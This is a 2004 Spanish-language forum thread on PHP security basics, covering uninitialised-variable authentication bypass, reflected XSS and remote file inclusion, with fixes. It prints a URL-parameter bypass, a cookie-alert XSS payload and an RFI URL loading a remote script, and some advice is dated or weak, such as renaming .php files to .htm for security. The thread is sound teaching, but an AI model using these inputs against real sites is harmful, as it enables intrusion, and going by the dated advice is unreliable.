Seguridad en PHP

Iniciado por -Riven-Ward-, 15 Diciembre 2004, 06:45 AM

0 Miembros y 1 Visitante están viendo este tema.

-Riven-Ward-

En este post les hablaré un poco de la Seguridad en PHP, lo cual es esencial para que tu web dure un poco xD.

Partimos con el mal uso de variables.

SIEMPRE, SIEMPRE tienes que poner las variables en 0 (false). Imagina que tienes un password "escondido" en una web PHP, el cual si la variable $si puesta en 1 (true) (se pone a true al poner la contraseña correcta, por ejemplo). Entonces, luego vé si tiene $si a true. Si lo está, muestra el password. Puesto en código sería:

seg.php

<?php
if (isset ($entrar)) {
if (
$pass == "1234") {
$si 1;
}
else {
echo 
"No!";
}
}
else {
?>

<form action="<?=$PHP_SELF?>">
<input type="text" name="pass"><br><br>
<input type="submit" name="entrar">
</form>
<?php
}
if (
$si) {
echo 
"Password Ultrahipermegasúper secreto";
}
?>


Ahí ya una falta. La de la variable $si (como ya lo había dicho). Y podríamos saltarnos toda esa "seguridad" con la siguiente URL: seg.php?si=1.

La manera, que es muy simple, sería declarar, antes de todo, la variable $si como 0 (false). Así:

<?php
$si 
0;
if (isset (
$entrar)) {
if (
$pass == "1234") {
$si 1;
}
else {
echo 
"No!";
}
}
else {
?>

<form action="<?=$PHP_SELF?>">
<input type="text" name="pass"><br><br>
<input type="submit" name="entrar">
</form>
<?php
}
if (
$si) {
echo 
"Password Ultrahipermegasúper secreto";
}
?>
.

Otra falta de seguridad, que también tiene que ver con variables, es con los ataques XSS. Esos que te ponen en la variable (que se hace mediante un input, o textarea) es, por ejemplo, un JS que tira una alerta con las cookies del usuario (eso es inofensivo, pero se pueden hacer otras cosas que si perjudican).

Por ejemplo, una página que pide el nombre del usuario para saludarlo:

<?php
if ($saludar) {
echo 
"Hola, ".$nombre;
}
else {
?>

<form action="<?=$PHP_SELF?>" method="post">
<input type="text" name="nombre"><br><br>
<input type="submit" name="saludar">
</form>
<?php
}
?>


En esa página, pon en el input "<script>alert(document.cookie)</script>" (seguramente no te salga nada, porque no hay cookies en esa página xD).

El resultado sería:

CitarHola,

Y te saltaría la alerta.

Lo solucionas con la función htmlspecialchars() o la función htmlentities(), que limpian las variables de código HTML:

<?php
if ($saludar) {
$nombre htmlspecialchars ($nombre); //Limpiando...
$nombre htmlentities ($nombre); //Limpiando...
echo "Hola, ".$nombre;
}
else {
?>

<form action="<?=$PHP_SELF?>" method="post">
<input type="text" name="nombre"><br><br>
<input type="submit" name="saludar">
</form>
<?php
}
?>


Y el resultado sería:

CitarHola, &lt;script&gt;alert(document.cookie)&lt;/script&gt;

Una última forma de tener seguridad en la web, por mientras hago mas que me estoy quedando sin tiempo, sería, tratar a un .htm como un .php, tal y como lo hace este foro.

Abres el .htaccess, y pones la siguiente línea:

AddType application/x-httpd-php .htm

Después de eso, cambias todos (o los que quieras) .php's a .htm, y se verán tal y como si fueran un .php. :).

Fin por ahora.

Salu2!

PD: Pequeñas ideas de php.net
Usuario Banneado

The Ghost

Quizas algunos ya lo conocen, pero los que no, pues les puede servir.
PHP Security Consortium, según tengo entendido es un sitio nuevo donde hay interesantes articulos acerca de la seguridad en el lenguaje PHP.
Ojo la web está en inglés, pero fácil de entender.

En fin, buen provecho con la lectura  ;)

http://phpsec.org/

Saludos
The Ghost

eLank0

He aquí un buen paper en castellano sobre como hacer más seguras las sessiones en PHP:

http://www.php-hispano.net/archivos/Articulos/22/1/Haciendo-seguras-las-sessiones-PHP1.html

Salu2!  :o

p0w3r f1y

Creo que aquí tampoco sobra hablar sobre el conocido fallo de programación RFI (Remote File Inclusion):
Pongo un ejemplo, una en la que se accede a las secciones con un include (index.php?destino=...):

<?
include($destino.'.php'); //podría ser también .htm, sin exension...
?>

Con ese código, cualquiera podría ejecutar un script en esa página, solo tendría que poner lo siguiente:
index.php?destino=Http://web.com/script
(el script tendría que tener, en este caso, extension .php)
Y dependiendo de la seguridad de la web, con el script podría desde ver un listado de los archivos, hasta averiguar los datos para entrar en la base de datos...
Para solucionarlo, hay muchas formas, entre otras, no usar includes con variables o poner en Off la propiedad allow_url_fopen en el archivo php.ini.
Espero que sirva de algo esta aportación :).
Salu2.

+ enrique ZP

Tambien podemos encontrar un buen articulo de seguridad php en http://www.securityfocus.com/infocus/1706

Hasta Pronto ;)

Molpere1285

Este articulo es muy bueno

SERBice

tambien puedes especificar el directorio base al hacer un include, ademas el include es muy pobre para llamar archivos externos....yo uso este code, espero que les sirva de algo


<?
if (is_file(dirname(__FILE__) . '/module/'. $sección .'.php'))
{require_once(dirname(__FILE__) . '/module/'. $sección .'.php');}else{echo "<hr>El archivo y/o sección no existe...<hr>";}

dirname(__FILE__) es el directorio del archivo desde el que se llama al segundo archivo (archivo externo)....
/module/ es un subdirectorio donde pongo todos los archivos que van a ser llamados, asi mantengo un orden....
y despues viene la variable, seguida de la extension del archivo....
es importante poner la extension para cuando pasamos la variable por url nadie sepa qeu hace la web, si hace un include  o similar o si simplemente es una estructura case o if con muchos else.....